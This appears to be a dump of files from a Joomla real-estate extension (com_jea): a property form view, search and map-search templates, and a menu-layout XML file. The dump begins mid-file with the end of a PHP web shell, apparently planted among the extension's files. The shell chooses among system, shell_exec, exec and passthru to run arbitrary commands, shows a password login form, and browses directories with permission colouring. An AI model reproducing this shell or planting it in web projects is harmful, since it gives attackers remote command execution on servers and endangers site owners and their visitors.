{$d=getcwd();}$p='';$n='';$dx=explode(DIRECTORY_SEPARATOR,$d);for($i=0;$i
< count($dx);$i++) {$g=$dx[$i];$p.=$dx[$i] . DIRECTORY_SEPARATOR; $n
.='<a
href="?d='.$p.'">'.$g.'</a>'.DIRECTORY_SEPARATOR;}return($n);}
function get_color($f){if(is_writable($f))
{$c='#ccff00';}if(!is_writable($f) && is_readable($f))
{$c=''.$txtC.'';}if(!is_writable($f) &&
!is_readable($f)) {$c='crimson';}return($c);}
function perms($f) {if(file_exists($f)) {return
substr(sprintf('%o',fileperms($f)), -4);} else {return
'???';}}
function exec_meth() {if(function_exists('passthru'))
{$m='passthru';} if(function_exists('exec'))
{$m='exec';} if(function_exists('shell_exec'))
{$m='shell_exec';} if(function_exists('system'))
{$m='system';} if(!isset($m)) {$m='Disabled';}
return($m);}
function execute($m,$c) {if($m=='passthru') {passthru($c);}
elseif($m=='system') {system($c);}
elseif($m=='shell_exec') {print shell_exec($c);}
elseif($m=='exec') {exec($c,$r); foreach($r as $o) {print
$o.'</br>';}} else {print 'xxxte?';}}
function initiate(){print '<table border=0 width=100% height=100%
align=center style="background:#333333;color:silver;"><td
valign="middle"><center><form
action="'.basename(__FILE__).'"
method="POST">Password <input type="password"
maxlength="10" name="pass"
style="background:#333333;color:silver;border-radius:10px;border:1px
solid silver;text-align:center;"> <input type="submit"
value=">>"
style="background:#333333;color:silver;border-radius:10px;border:1px
solid
silver;"></form></center></td></table>';}
function let_him_in() { header("Location: ".basename(__FILE__));
}
print $end;
?>views/form/view.html.php000064400000004631151165174020011300
0ustar00<?php
/**
 * This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
 *
 * @package     Joomla.Site
 * @subpackage  com_jea
 * @copyright   Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Property form view.
 *
 * @package     Joomla.Site
 * @subpackage  com_jea
 *
 * @since       2.0
 */
class JeaViewForm extends JViewLegacy
{
	/**
	 * The form object
	 *
	 * @var JForm
	 */
	protected $form;

	/**
	 * The database record
	 *
	 * @var JObject|boolean
	 */
	protected $item;

	/**
	 * The model state
	 *
	 * @var JObject
	 */
	protected $state;

	/**
	 * The component parameters
	 *
	 * @var Joomla\Registry\Registry
	 */
	protected $params;

	/**
	 * Overrides parent method.
	 *
	 * @param   string  $tpl  The name of the template file to parse.
	 *
	 * @return  mixed  A string if successful, otherwise an Error object.
	 *
	 * @see     JViewLegacy::display()
	 */
	public function display($tpl = null)
	{
		JHtml::stylesheet('com_jea/jea.css', array('relative'
=> true));

		$app = JFactory::getApplication();
		$user = JFactory::getUser();

		$this->form = $this->get('Form');
		$this->item = $this->get('Item');
		$this->state = $this->get('State');
		$this->params = $app->getParams();

		$authorised = false;

		if (empty($this->item->id))
		{
			if (!$user->id)
			{
				// When user is not authenticated
				if ($this->params->get('login_behavior') ==
'before')
				{
					$return = base64_encode(JFactory::getURI());
					$message = JText::_('JGLOBAL_YOU_MUST_LOGIN_FIRST');
					$redirect =
JRoute::_('index.php?option=com_users&view=login&return='
. $return, false);
					$app->redirect($redirect, $message);
				}
				else
				{
					// The user should be redirected on the login form after the form
submission.
					$authorised = true;
				}
			}
			else
			{
				$authorised = $user->authorise('core.create',
'com_jea');
			}
		}
		else
		{
			$asset = 'com_jea.property.' . $this->item->id;

			// Check general edit permission first.
			if ($user->authorise('core.edit', $asset))
			{
				$authorised = true;
			}
			elseif ($user->authorise('core.edit.own', $asset)
&& $this->item->created_by == $user->id)
			{
				$authorised = true;
			}
		}

		if (!$authorised)
		{
			throw new RuntimeException(JText::_('JERROR_ALERTNOAUTHOR'));
		}

		parent::display($tpl);
	}
}
views/properties/tmpl/searchmap.php000064400000022671151165174020013537
0ustar00<?php
/**
 * This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
 *
 * @package     Joomla.Site
 * @subpackage  com_jea
 * @copyright   Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 *
 * @var $this JeaViewProperties
 */

JHtml::addIncludePath(JPATH_COMPONENT_ADMINISTRATOR .
'/helpers/html');
JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');

$transactionType =
$this->params->get('searchform_transaction_type');
$Itemid =
JFactory::getApplication()->input->getInt('Itemid', 0);

$states = array();
$filters = $this->get('Filters');

foreach ($filters as $name => $defaultValue)
{
	$states['filter_' . $name] =
$this->state->get('filter.' . $name, $defaultValue);
}

$states['filter_transaction_type'] = $transactionType;

$fields = json_encode($states);

$langs = explode('-', $this->document->getLanguage());
$lang = $langs[0];
$region = $langs[1];

$this->document->addScript(
	'https://maps.google.com/maps/api/js?key=' .
$this->params->get('googlemap_api_key') .
'&amp;language=' . $lang . '&amp;region=' .
$region
);

// Include jQuery
JHtml::_('jquery.framework');
JHTML::script('com_jea/jquery-search.js',
array('relative' => true));
JHtml::script('com_jea/geoxml3.js', array('relative'
=> true));
JHTML::script('com_jea/jquery-geoSearch.js',
array('relative' => true));
JHTML::script('com_jea/jquery-ui-draggable.min.js',
array('relative' => true));
JHTML::script('com_jea/jquery-biSlider.js',
array('relative' => true));

$model = $this->getModel();

$fieldsLimit = json_encode(
	array(
		'RENTING' => array(
			'price' => $model->getFieldLimit('price',
'RENTING'),
			'surface' =>
$model->getFieldLimit('living_space', 'RENTING')
		),
		'SELLING' => array(
			'price' => $model->getFieldLimit('price',
'SELLING'),
			'surface' =>
$model->getFieldLimit('living_space', 'SELLING')
		)
	)
);

$default_area =
$this->params->get('searchform_default_map_area', $lang);
$currency_symbol = $this->params->get('currency_symbol',
'€');
$surface_measure = $this->params->get('surface_measure');
$map_width = $this->params->get('searchform_map_width', 0);
$map_height = $this->params->get('searchform_map_height',
400);

$script =<<<JS
jQuery(function($) {

	var minPrice = 0;
	var maxPrice = 0;
	var minSpace = 0;
	var maxSpace = 0;

	function updateSliders()
	{
		if(!$('#price_slider') &&
!$('#space_slider')) {
			return;
		}

		var transaction_type = 'SELLING';

		var transTypes =
$('#jea-search-form').find('[name=\"filter_transaction_type\"]');

		jQuery.each(transTypes, function(idx, item){
			if ($(item).prop('checked')) {
				transaction_type = $(item).val();
			}
		})

		var fieldsLimit = $fieldsLimit;
		minPrice = fieldsLimit[transaction_type].price[0];
		maxPrice = fieldsLimit[transaction_type].price[1];
		minSpace = fieldsLimit[transaction_type].surface[0];
		maxSpace = fieldsLimit[transaction_type].surface[1];

		$('#budget_min').val(minPrice);
		$('#budget_max').val(maxPrice);
		$('#min_price_value').text(minPrice + '
$currency_symbol');
		$('#max_price_value').text(maxPrice + '
$currency_symbol');

		$('#living_space_min').val(minSpace);
		$('#living_space_max').val(maxSpace);
		$('#min_space_value').text(minSpace + '
$surface_measure');
		$('#max_space_value').text(maxSpace + '
$surface_measure');
	}

	var jeaSearch = new JEASearch('#jea-search-form',
{fields:$fields, useAJAX:true,
transactionType:'$transactionType'});
	jeaSearch.refresh();

	geoSearch = new JEAGeoSearch('map_canvas', {
		counterElement : 'properties_count',
		defaultArea : '{$default_area}',
		form : 'jea-search-form',
		Itemid : {$Itemid}
	});

	updateSliders();
	geoSearch.refresh();
	jeaSearch.refresh();

	$('#jea-search-form').on('reset', function(){
		jeaSearch.reset();
		updateSliders();
		geoSearch.refresh();
	});

	$('#filter_type_id, #filter_department_id, #filter_town_id,
#filter_area_id, #rooms_min, .amenities input').on('change',
function() {
		geoSearch.refresh();
	});

	$('#jea-search-selling,
#jea-search-renting').on('change', function() {
		updateSliders();
		geoSearch.refresh();
	});

	$('#price_slider').bislider({
		steps:100,
		onChange: function(steps) {
			var priceDiff = maxPrice - minPrice;
			$('#budget_min').val(Math.round(((priceDiff * steps.minimum )
/ 100) + minPrice));
			$('#budget_max').val(Math.round(((priceDiff * steps.maximum )
/ 100) + minPrice));

			$('#min_price_value').text($('#budget_min').val() +
' $currency_symbol');
			$('#max_price_value').text($('#budget_max').val() +
' $currency_symbol');
		},
		onComplete: function(step) {
			geoSearch.refresh();
		}
	})

	$('#space_slider').bislider({
		steps:100,
		onChange: function(steps) {
			var spaceDiff = maxSpace - minSpace;
			$('#living_space_min').val(Math.round(((spaceDiff *
steps.minimum ) / 100) + minSpace));
			$('#living_space_max').val(Math.round(((spaceDiff *
steps.maximum ) / 100) + minSpace));

			$('#min_space_value').text($('#living_space_min').val()
+ ' $surface_measure');
			$('#max_space_value').text($('#living_space_max').val()
+ ' $surface_measure');
		},
		onComplete: function(step) {
			geoSearch.refresh();
		}
	})
});
JS;

$this->document->addScriptDeclaration($script);
?>

<?php if ($this->params->get('show_page_heading', 1)) :
?>
<?php if ($this->params->get('page_heading')) : ?>
<h1><?php echo
$this->escape($this->params->get('page_heading'))
?></h1>
<?php else: ?>
<h1><?php echo
$this->escape($this->params->get('page_title'))
?></h1>
<?php endif ?>
<?php endif ?>

<form action="<?php echo
JRoute::_('index.php?option=com_jea&task=properties.search')
?>" method="post" id="jea-search-form">
	<p>
		<?php echo JHtml::_('features.types',
$this->state->get('filter.type_id', 0),
'filter_type_id') ?>

		<?php if ($transactionType == 'RENTING'): ?>
		<input type="hidden"
name="filter_transaction_type" value="RENTING" />
		<?php elseif($transactionType == 'SELLING'): ?>
		<input type="hidden"
name="filter_transaction_type" value="SELLING" />
		<?php else: ?>
		<input type="radio" name="filter_transaction_type"
id="jea-search-selling" value="SELLING"
			<?php if ($states['filter_transaction_type'] ==
'SELLING') echo 'checked="checked"' ?>
/>
		<label for="jea-search-selling"><?php echo
JText::_('COM_JEA_OPTION_SELLING') ?></label>

		<input type="radio" name="filter_transaction_type"
id="jea-search-renting" value="RENTING"
			<?php if ($states['filter_transaction_type'] ==
'RENTING') echo 'checked="checked"' ?>
/>
		<label for="jea-search-renting"><?php echo
JText::_('COM_JEA_OPTION_RENTING') ?></label>
		<?php endif ?>
	</p>

	<p>
	<?php if
($this->params->get('searchform_show_departments', 1)):
?>
	<?php echo JHtml::_('features.departments',
$states['filter_department_id'], 'filter_department_id'
) ?>
	<?php endif ?>

	<?php if ($this->params->get('searchform_show_towns',
1)): ?>
	<?php echo JHtml::_('features.towns',
$states['filter_town_id'], 'filter_town_id' ) ?>
	<?php endif ?>

	<?php if ($this->params->get('searchform_show_areas',
1)): ?>
	<?php echo JHtml::_('features.areas',
$states['filter_area_id'], 'filter_area_id' ) ?>
	<?php endif ?>

	<span id="found_properties"><?php echo
JText::_('COM_JEA_FOUND_PROPERTIES')?> : <span
id="properties_count">0</span></span>
	</p>

	<div id="map_canvas" style="width: <?php echo
$map_width ? $map_width.'px': '100%'?>; height:
<?php echo $map_height.'px'?>"></div>

	<div class="clr"></div>

	<?php if ($this->params->get('searchform_show_budget',
1)): ?>
	<div class="jea_slider_block">
		<h2><?php echo JText::_('COM_JEA_BUDGET')
?></h2>
		<div id="price_slider"
class="slider_background">
			<div id="knob1" class="knob"></div>
			<div id="knob2" class="knob"></div>
		</div>
		<div class="slider_infos">
			<span class="slider_min_value"
id="min_price_value">0</span>
			<?php echo JText::_('COM_JEA_TO') ?>
			<span class="slider_max_value"
id="max_price_value">0</span>
		</div>
		<input id="budget_max" type="hidden"
name="filter_budget_max" />
		<input id="budget_min" type="hidden"
name="filter_budget_min" />
	</div>
	<?php endif ?>

	<?php if
($this->params->get('searchform_show_living_space', 1)):
?>
	<div class="jea_slider_block">
		<h2><?php echo
JText::_('COM_JEA_FIELD_LIVING_SPACE_LABEL') ?></h2>
		<div id="space_slider"
class="slider_background">
			<div id="knob3" class="knob"></div>
			<div id="knob4" class="knob"></div>
		</div>
		<div class="slider_infos">
			<span class="slider_min_value"
id="min_space_value">0</span>
			<?php echo JText::_('COM_JEA_TO') ?>
			<span class="slider_max_value"
id="max_space_value">0</span>
		</div>
		<input id="living_space_min" type="hidden"
name="filter_living_space_min" />
		<input id="living_space_max" type="hidden"
name="filter_living_space_max" />
	</div>
	<?php endif; ?>

	<?php if
($this->params->get('searchform_show_number_of_rooms', 1)):
?>
	<p>
		<?php echo JText::_('COM_JEA_NUMBER_OF_ROOMS_MIN') ?>:
		<input type="text" id="rooms_min"
name="filter_rooms_min" size="1" />
	</p>
	<?php endif; ?>

	<div class="clr"></div>

	<?php if
($this->params->get('searchform_show_amenities', 1)): ?>
	<div class="amenities">
		<?php echo JHtml::_('amenities.checkboxes',
$states['filter_amenities'], 'filter_amenities' ) ?>
		<?php // In order to prevent null post for this field ?>
		<input type="hidden" name="filter_amenities[]"
value="0" />
	</div>
	<?php endif; ?>

	<p>
		<input type="reset" class="button"
value="<?php echo JText::_('JSEARCH_FILTER_CLEAR')
?>" />
		<input type="submit" class="button"
value="<?php echo JText::_('COM_JEA_LIST_PROPERTIES')
?>" />
	</p>
</form>
views/properties/tmpl/search.xml000064400000012253151165174020013045
0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout title="COM_JEA_PROPERTIES_SEARCH_LAYOUT_TITLE">
		<message>
			<![CDATA[COM_JEA_PROPERTIES_SEARCH_LAYOUT_DESC]]>
		</message>
	</layout>
	

		<fields name="params">
			<fieldset name="basic"
label="COM_JEA_MENU_PARAMS_LABEL">
				<field name="searchform_use_ajax" type="list"
label="COM_JEA_FIELD_USE_AJAX_LABEL"
description="COM_JEA_FIELD_USE_AJAX_DESC">
					<option value="">JGLOBAL_USE_GLOBAL</option>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>
	
				<field name="searchform_transaction_type"
type="list"
label="COM_JEA_FIELD_TRANSACTION_TYPE_LABEL"
description="COM_JEA_FIELD_SEARCHFORM_TRANSACTION_TYPE_DESC">
					<option value="">JALL</option>
					<option
value="SELLING">COM_JEA_OPTION_SELLING</option>
					<option
value="RENTING">COM_JEA_OPTION_RENTING</option>
				</field>
				
				<field name="searchform_show_freesearch"
type="list"
label="COM_JEA_FIELD_SEARCHFORM_FREE_SEARCH_LABEL"
description="COM_JEA_FIELD_SEARCHFORM_FREE_SEARCH_DESC">
					<option value="">JGLOBAL_USE_GLOBAL</option>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>
	
				<field name="searchform_show_departments"
type="list"
label="COM_JEA_FIELD_SEARCHFORM_DEPARTMENTS_LABEL">
					<option value="">JGLOBAL_USE_GLOBAL</option>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>
	
				<field name="searchform_show_towns" type="list"
label="COM_JEA_FIELD_SEARCHFORM_TOWNS_LABEL">
					<option value="">JGLOBAL_USE_GLOBAL</option>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>
				
				<field name="searchform_show_areas" type="list"
label="COM_JEA_FIELD_SEARCHFORM_AREAS_LABEL">
					<option value="">JGLOBAL_USE_GLOBAL</option>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>
				
				<field name="searchform_show_zip_codes"
type="list"
label="COM_JEA_FIELD_SEARCHFORM_ZIP_CODES_LABEL">
					<option value="">JGLOBAL_USE_GLOBAL</option>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>
				
				<field name="searchform_show_budget" type="list"
label="COM_JEA_FIELD_SEARCHFORM_BUDGET_LABEL">
					<option value="">JGLOBAL_USE_GLOBAL</option>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>
				
				<field name="searchform_show_living_space"
type="list"
label="COM_JEA_FIELD_SEARCHFORM_LIVING_SPACE_LABEL">
					<option value="">JGLOBAL_USE_GLOBAL</option>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>
				
				<field name="searchform_show_land_space"
type="list"
label="COM_JEA_FIELD_SEARCHFORM_LAND_SPACE_LABEL">
					<option value="">JGLOBAL_USE_GLOBAL</option>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>
				
				<field name="searchform_show_number_of_rooms"
type="list"
label="COM_JEA_FIELD_SEARCHFORM_NUMBER_OF_ROOMS_LABEL">
					<option value="">JGLOBAL_USE_GLOBAL</option>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>
				
				<field name="searchform_show_number_of_bedrooms"
type="list"
label="COM_JEA_FIELD_SEARCHFORM_NUMBER_OF_BEDROOMS_LABEL">
					<option value="">JGLOBAL_USE_GLOBAL</option>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>
				
				<field name="searchform_show_number_of_bathrooms"
type="list"
label="COM_JEA_FIELD_SEARCHFORM_NUMBER_OF_BATHROOMS_LABEL">
					<option value="">JGLOBAL_USE_GLOBAL</option>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>

				<field name="searchform_show_floor" type="list"
label="COM_JEA_FIELD_SEARCHFORM_FLOOR_LABEL">
					<option value="">JGLOBAL_USE_GLOBAL</option>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>
				
				<field name="searchform_show_hotwatertypes"
type="list"
label="COM_JEA_FIELD_SEARCHFORM_HOT_WATER_TYPES_LABEL">
					<option value="">JGLOBAL_USE_GLOBAL</option>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>
				
				<field name="searchform_show_heatingtypes"
type="list"
label="COM_JEA_FIELD_SEARCHFORM_HEATING_TYPES_LABEL">
					<option value="">JGLOBAL_USE_GLOBAL</option>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>
				
				<field name="searchform_show_conditions"
type="list"
label="COM_JEA_FIELD_SEARCHFORM_CONDITION_LABEL">
					<option value="">JGLOBAL_USE_GLOBAL</option>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>
				
				<field name="searchform_show_orientation"
type="list"
label="COM_JEA_FIELD_SEARCHFORM_ORIENTATION_LABEL">
					<option value="">JGLOBAL_USE_GLOBAL</option>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>
				
				<field name="searchform_show_amenities"
type="list"
label="COM_JEA_FIELD_SEARCHFORM_AMENITIES_LABEL">
					<option value="">JGLOBAL_USE_GLOBAL</option>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>
				
				
			</fieldset>
		</fields>
</metadata>
views/properties/tmpl/search.php000064400000026744151165174020013046
0ustar00<?php
/**
 * This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
 *
 * @package     Joomla.Site
 * @subpackage  com_jea
 * @copyright   Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 *
 * @var $this JeaViewProperties
 */

JHtml::addIncludePath(JPATH_COMPONENT_ADMINISTRATOR .
'/helpers/html');
JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');

$useAjax = $this->params->get('searchform_use_ajax', 0);
$transactionType =
$this->params->get('searchform_transaction_type');

$showLocalization =
$this->params->get('searchform_show_departments') ||
					$this->params->get('searchform_show_towns') ||
					$this->params->get('searchform_show_areas') ||
					$this->params->get('searchform_show_zip_codes');

$showOtherFilters =
$this->params->get('searchform_show_number_of_rooms') ||
					$this->params->get('searchform_show_number_of_bedrooms')
||
					$this->params->get('searchform_show_number_of_bathrooms')
||
					$this->params->get('searchform_show_floor') ||
					$this->params->get('searchform_show_hotwatertypes') ||
					$this->params->get('searchform_show_heatingtypes') ||
					$this->params->get('searchform_show_conditions') ||
					$this->params->get('searchform_show_orientation');

$states = array();
$filters = $this->get('Filters');

foreach ($filters as $name => $defaultValue)
{
	$states['filter_' . $name] =
$this->state->get('filter.' . $name, $defaultValue);
}

$states['filter_transaction_type'] = $transactionType;

$fields = json_encode($states);
$ajax = $useAjax ? 'true' : 'false';

// Include jQuery
JHtml::_('jquery.framework');
JHTML::script('com_jea/jquery-search.js',
array('relative' => true));

$script = <<<JS
jQuery(function($) {
	var jeaSearch = new JEASearch('#jea-search-form',
{fields:$fields, useAJAX:$ajax,
transactionType:'$transactionType'});
	jeaSearch.refresh();
});
JS;

$this->document->addScriptDeclaration($script);
?>

<?php if ($this->params->get('show_page_heading', 1)) :
?>
	<?php if ($this->params->get('page_heading')) : ?>
	<h1><?php echo
$this->escape($this->params->get('page_heading'))
?></h1>
	<?php else: ?>
	<h1><?php echo
$this->escape($this->params->get('page_title'))
?></h1>
	<?php endif ?>
<?php endif ?>

<form action="<?php echo
JRoute::_('index.php?option=com_jea&task=properties.search')
?>" method="post" id="jea-search-form">

	<?php if
($this->params->get('searchform_show_freesearch')): ?>
	<p>
		<label for="jea-search"><?php echo
JText::_('COM_JEA_SEARCH_LABEL')?> : </label>
		<input type="text" name="filter_search"
id="jea-search" value="<?php echo
$states['filter_search'] ?>" />
		<input type="submit" class="button"
value="<?php echo
JText::_('JSEARCH_FILTER_SUBMIT')?>" />
	</p>

	<hr />
	<?php endif ?>

	<?php if ($useAjax): ?>
	<div class="jea-counter">
		<span class="jea-counter-result">0</span> <?php
echo JText::_('COM_JEA_FOUND_PROPERTIES')?>
	</div>
	<?php endif ?>

	<p>
		<?php echo JHtml::_('features.types',
$this->state->get('filter.type_id', 0),
'filter_type_id') ?>

		<?php if ($transactionType == 'RENTING'): ?>
		<input type="hidden"
name="filter_transaction_type" value="RENTING" />
		<?php elseif($transactionType == 'SELLING'): ?>
		<input type="hidden"
name="filter_transaction_type" value="SELLING" />
		<?php else: ?>
		<input type="radio" name="filter_transaction_type"
id="jea-search-selling" value="SELLING"
		<?php if ($states['filter_transaction_type'] ==
'SELLING') echo 'checked="checked"' ?>
/>

		<label for="jea-search-selling"><?php echo
JText::_('COM_JEA_OPTION_SELLING') ?></label>

		<input type="radio" name="filter_transaction_type"
id="jea-search-renting" value="RENTING"
		<?php if ($states['filter_transaction_type'] ==
'RENTING') echo 'checked="checked"' ?>
/>
		<label for="jea-search-renting"><?php echo
JText::_('COM_JEA_OPTION_RENTING') ?></label>
		<?php endif ?>
	</p>

	<?php if ($showLocalization): ?>
	<h2><?php echo JText::_('COM_JEA_LOCALIZATION') ?>
:</h2>

	<p>
		<?php if
($this->params->get('searchform_show_departments', 1)):
?>
		<?php echo JHtml::_('features.departments',
$states['filter_department_id'], 'filter_department_id'
) ?>
		<?php endif ?>

		<?php if ($this->params->get('searchform_show_towns',
1)): ?>
		<?php echo JHtml::_('features.towns',
$states['filter_town_id'], 'filter_town_id' ) ?>
		<?php endif ?>

		<?php if ($this->params->get('searchform_show_areas',
1)): ?>
		<?php echo JHtml::_('features.areas',
$states['filter_area_id'], 'filter_area_id' ) ?>
		<?php endif ?>
	</p>

	<?php if
($this->params->get('searchform_show_zip_codes', 1)): ?>
	<p>
		<label for="jea-search-zip-codes"><?php echo
JText::_('COM_JEA_SEARCH_ZIP_CODES') ?> : </label>
		<input id="jea-search-zip-codes" type="text"
name="filter_zip_codes" size="20" value="<?php
echo $states['filter_zip_codes'] ?>" />
		<em><?php echo
JText::_('COM_JEA_SEARCH_ZIP_CODES_DESC') ?></em>
	</p>
	<?php endif ?>

	<?php endif ?>

	<?php if ($this->params->get('searchform_show_budget',
1)): ?>
	<h2><?php echo JText::_('COM_JEA_BUDGET') ?>
:</h2>
	<dl class="col-left">
		<dt>
			<label for="jea-search-budget-min"><?php echo
JText::_('COM_JEA_MIN') ?> : </label>
		</dt>
		<dd>
			<input id="jea-search-budget-min" type="text"
name="filter_budget_min" size="5" value="<?php
echo $states['filter_budget_min'] ?>" />
			<?php echo $this->params->get('currency_symbol',
'&euro;') ?>
		</dd>
	</dl>
	<dl class="col-right">
		<dt>
			<label for="jea-search-budget-max"><?php echo
JText::_('COM_JEA_MAX') ?> : </label>
		</dt>
		<dd>
			<input id="jea-search-budget-max" type="text"
name="filter_budget_max" size="5" value="<?php
echo $states['filter_budget_max'] ?>" />
			<?php echo $this->params->get('currency_symbol',
'&euro;') ?>
		</dd>
	</dl>
	<?php endif ?>

	<?php if
($this->params->get('searchform_show_living_space', 1)):
?>
	<h2><?php echo
JText::_('COM_JEA_FIELD_LIVING_SPACE_LABEL') ?> :</h2>

	<dl class="col-left">
		<dt>
			<label for="jea-search-living-space-min"><?php echo
JText::_('COM_JEA_MIN') ?> : </label>
		</dt>
		<dd>
			<input id="jea-search-living-space-min"
type="text" name="filter_living_space_min"
size="5"
				value="<?php echo $states['filter_living_space_min']
?>" />
			<?php echo $this->params->get( 'surface_measure' )
?>
		</dd>
	</dl>
	<dl class="col-right">
		<dt>
			<label for="jea-search-living-space-max"><?php echo
JText::_('COM_JEA_MAX') ?> : </label>
		</dt>
		<dd>
			<input id="jea-search-living-space-max"
type="text" name="filter_living_space_max"
size="5"
				value="<?php echo $states['filter_living_space_max']
?>" />
			<?php echo $this->params->get( 'surface_measure' )
?>
		</dd>
	</dl>
	<?php endif ?>

	<?php if
($this->params->get('searchform_show_land_space', 1)):
?>
	<h2><?php echo
JText::_('COM_JEA_FIELD_LAND_SPACE_LABEL') ?> :</h2>
	<dl class="col-left">
		<dt>
			<label for="jea-search-land-space-min"><?php echo
JText::_('COM_JEA_MIN') ?> : </label>
		</dt>
		<dd>
			<input id="jea-search-land-space-min" type="text"
name="filter_land_space_min" size="5"
				value="<?php echo $states['filter_land_space_min']
?>" />
			<?php echo $this->params->get( 'surface_measure' )
?>
		</dd>
	</dl>
	<dl class="col-right">
		<dt>
			<label for="jea-search-land-space-max"><?php echo
JText::_('COM_JEA_MAX') ?> : </label>
		</dt>
		<dd>
			<input id="jea-search-land-space-max" type="text"
name="filter_land_space_max" size="5"
				value="<?php echo $states['filter_land_space_max']
?>" />
			<?php echo $this->params->get( 'surface_measure' )
?>
		</dd>
	</dl>
	<?php endif ?>

	<?php if ($showOtherFilters): ?>
	<h2><?php echo JText::_('COM_JEA_SEARCH_OTHER') ?>
:</h2>

	<ul class="jea-search-other">
		<?php if
($this->params->get('searchform_show_number_of_rooms', 1)):
?>
		<li>
			<label for="jea-search-rooms"><?php echo
JText::_('COM_JEA_NUMBER_OF_ROOMS_MIN') ?> : </label>
			<input id="jea-search-rooms" type="text"
name="filter_rooms_min" size="2" value="<?php
echo $states['filter_rooms_min'] ?>" />
		</li>
		<?php endif?>

		<?php if
($this->params->get('searchform_show_number_of_bedrooms',
1)): ?>
		<li>
			<label for="jea-search-bedrooms"><?php echo
JText::_('COM_JEA_NUMBER_OF_BEDROOMS_MIN') ?> : </label>
			<input id="jea-search-bedrooms" type="text"
name="filter_bedrooms_min" size="2"
value="<?php echo $states['filter_bedrooms_min']
?>" />
		</li>
		<?php endif?>

		<?php if
($this->params->get('searchform_show_number_of_bathrooms',
0)): ?>
		<li>
			<label for="jea-search-bathrooms"><?php echo
JText::_('COM_JEA_NUMBER_OF_BATHROOMS_MIN') ?> :
</label>
			<input id="jea-search-bathrooms" type="text"
name="filter_bathrooms_min" size="2"
value="<?php echo $states['filter_bathrooms_min']
?>" />
		</li>
		<?php endif?>

		<?php if ($this->params->get('searchform_show_floor',
1)): ?>
		<li>
			<label for="jea-search-floor"><?php echo
JText::_('COM_JEA_FIELD_FLOOR_LABEL') ?> : </label>
			<input id="jea-search-floor" type="text"
name="filter_floor" size="2" value="<?php echo
$states['filter_floor'] ?>" />
			<em><?php echo JText::_('COM_JEA_SEARCH_FLOOR_DESC')
?></em>
		</li>
		<?php endif?>

		<?php if
($this->params->get('searchform_show_hotwatertypes', 0)):
?>
		<li><?php echo JHtml::_('features.hotwatertypes',
$states['filter_hotwatertype'], 'filter_hotwatertype' )
?></li>
		<?php endif?>

		<?php if
($this->params->get('searchform_show_heatingtypes', 0)):
?>
		<li><?php echo JHtml::_('features.heatingtypes',
$states['filter_heatingtype'], 'filter_heatingtype' )
?></li>
		<?php endif?>

		<?php if
($this->params->get('searchform_show_conditions', 0)):
?>
		<li><?php echo JHtml::_('features.conditions',
$states['filter_condition'], 'filter_condition' )
?></li>
		<?php endif?>

		<?php if
($this->params->get('searchform_show_orientation', 1)):
?>
		<li>
		<?php
			$options = array(
					JHTML::_('select.option', '0', ' - ' .
JText::_('COM_JEA_FIELD_ORIENTATION_LABEL') . ' - '),
					JHTML::_('select.option', 'N',
JText::_('COM_JEA_OPTION_NORTH')),
					JHTML::_('select.option', 'NW',
JText::_('COM_JEA_OPTION_NORTH_WEST')),
					JHTML::_('select.option', 'NE',
JText::_('COM_JEA_OPTION_NORTH_EAST')),
					JHTML::_('select.option', 'NS',
JText::_('COM_JEA_OPTION_NORTH_SOUTH')),
					JHTML::_('select.option', 'E',
JText::_('COM_JEA_OPTION_EAST')),
					JHTML::_('select.option', 'EW',
JText::_('COM_JEA_OPTION_EAST_WEST')),
					JHTML::_('select.option', 'W',
JText::_('COM_JEA_OPTION_WEST')),
					JHTML::_('select.option', 'S',
JText::_('COM_JEA_OPTION_SOUTH')),
					JHTML::_('select.option', 'SW',
JText::_('COM_JEA_OPTION_SOUTH_WEST')),
					JHTML::_('select.option', 'SE',
JText::_('COM_JEA_OPTION_SOUTH_EAST'))
			);

			echo JHTML::_('select.genericlist', $options,
'filter_orientation', 'size="1"',
'value', 'text',
$states['filter_orientation'])
		?>
		</li>
		<?php endif?>
	</ul>
	<?php endif ?>

	<?php if
($this->params->get('searchform_show_amenities', 1)): ?>
	<h2><?php echo JText::_('COM_JEA_AMENITIES') ?>
:</h2>
	<div class="amenities">
		<?php echo JHtml::_('amenities.checkboxes',
$states['filter_amenities'], 'filter_amenities' ) ?>
		<?php // In order to prevent nul post for this field ?>
		<input type="hidden" name="filter_amenities[]"
value="0" />
	</div>
	<?php endif ?>

	<?php if ($useAjax): ?>
	<div class="jea-counter">
		<span class="jea-counter-result">0</span> <?php
echo JText::_('COM_JEA_FOUND_PROPERTIES')?>
	</div>
